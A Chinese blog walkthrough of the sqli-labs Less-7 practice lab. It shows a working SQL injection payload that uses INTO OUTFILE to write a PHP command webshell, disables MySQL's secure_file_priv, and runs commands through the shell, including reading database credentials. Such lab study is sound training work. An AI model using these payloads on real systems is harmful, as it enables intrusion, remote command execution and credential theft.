当前位置: 首页 > news >正文

sqli-labs靶场第七关——文件导出注入

一:目标

通过sql注入将php代码写入网站目录,通过这个php文件执行命令

二:确认前置条件

%secure_file_priv%

首先我们需要Mysql是否允许导出文件

先尝试在网页中sql注入,检查导出权限

?id=1')) union select 1,@@secure_file_priv,3-- -

检查失败

换方法,通过Mysql命令行直接执行:

win+r→powershell→mysql -u root -p→password

然后检查:

show variables like '%secure_file_priv%';

窗口显示如下 

 

这里value有三种可能的值:

  • Null:禁止所有导入导出操作(最严格)

  • 空字符串'':允许所有目录的导入导出(有安全风险)

  • 指定路径:只允许该目录下的文件操作

如果值是空or是路径,继续攻击

如果值为NULL,那么注入一定失败,需要我们修改配置 ,方法如下:

在你的Mysql文件夹里找到my.ini,从段落的中间部分找到 [mysqld],在下面一行加上

secure_file_priv = ""

保存,服务里面重启动Mysql,然后 win+r→powershell→mysql -u root -p→password,再次检查

可以看到Value值变成空,说明我们修改成功了 ~

三:确定注入类型

首先输入 ?id=1',报错

尝试单引号+括号,?id=1'),报错

 尝试?id=1'))--+,页面恢复正常!!

所以这一关要闭合 ')) 

四:写一个webshell文件

首先用order by确定有三行

payload:

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,
'<?php system($_GET["cmd"]);?>',
3 
into outfile
'D:/nginx-1.27.5/html/shell.php'-- -

php代码:<?php system($_GET["cmd"]);?>

路径按照网站的真实路径来

**注意:路径使用双反斜杠\\

into outfile 文件导出:

select 内容 into outfile '文件路径';

使用条件:

1.Mysql有权限

2.知道目标路径的物理路径

3.secure_file_priv允许操作

 列出网站目录:

http://localhost/shell.php?cmd=dir D:\nginx-1.27.5\html\  

 这里面可以看出我们的绝对路径是否正确

这样显示更清楚一点

http://localhost/shell.php?cmd=dir

整理我们得到的数据!

D:\nginx-1.27.5\html\  # 当前目录路径
├── 50x.html           # Nginx错误页面
├── index.html         # 默认首页
├── index.php          # PHP入口文件
├── shell.php          # 刚写入的WebShell
└── sqli-labs/         # SQLi-Labs靶场目录

再来几个查询!

查看服务器用户名

http://localhost/shell.php?cmd=whoami

 

读取数据库配置文件(获取账号密码) 

http://localhost/shell.php?cmd=type D:\nginx-1.27.5\sqli-labs\sql-connections\db-creds.inc

❀❀❀ 完结撒花!! ❀❀❀

http://www.dtcms.com/a/192899.html

相关文章:

  • python 如何遍历 postgresql 所有的用户表 ?
  • PostgreSQL 联合索引生效条件
  • 每日Prompt:磨砂玻璃后的虚实对比剪影
  • 如何在WooCommerce中设置Stripe
  • 【匹配】Needleman–Wunsch
  • 【yolo】如何在 YOLOv8 中添加负样本以减少误检
  • Springboot3自定义starter笔记
  • MarkitDown:AI时代的文档转换利器
  • 四维时空数据安全传输新框架:压缩感知与几何驱动跳频
  • 【iOS安全】Dopamine越狱 iPhone X iOS 16.6 (20G75) | 解决Jailbreak failed with error
  • 如何在多线程环境下避免快速失败异常?
  • GPU异步执行漏洞攻防实战:从CUDA Stream竞争到安全编程规范
  • NHANES指标推荐:OBS
  • 大数据架构选型分析
  • 深度学习中的提示词优化:梯度下降全解析
  • 前端缓存策略
  • Milvus(23):过滤
  • 中国近代史2
  • 工业场景轮式巡检机器人纯视觉识别导航的优势剖析与前景展望
  • uniapp 弹窗封装(上、下、左、右、中五个方位)
  • 【FFmpeg+SDL】使用FFmpeg捕获屏幕,SDL显示
  • win10下安装redis并设置开机自启动
  • 前端的面试笔记——JavaScript篇(二)
  • 口播视频怎么剪!利用AI提高口播视频剪辑效率并增强”网感”
  • MATLAB安装全攻略:常见问题与解决方案
  • Linux | Linux系统安装虚拟机教程(超级简单)
  • 以项目的方式学QT开发(一)——超详细讲解(120000多字详细讲解,涵盖qt大量知识)逐步更新!
  • 比亚迪跨界降维打击!将正式宣布跨界,进入两三轮电动车电池市场
  • 解决xxx.jar中没有主清单属性的问题
  • ubuntu18 设置静态ip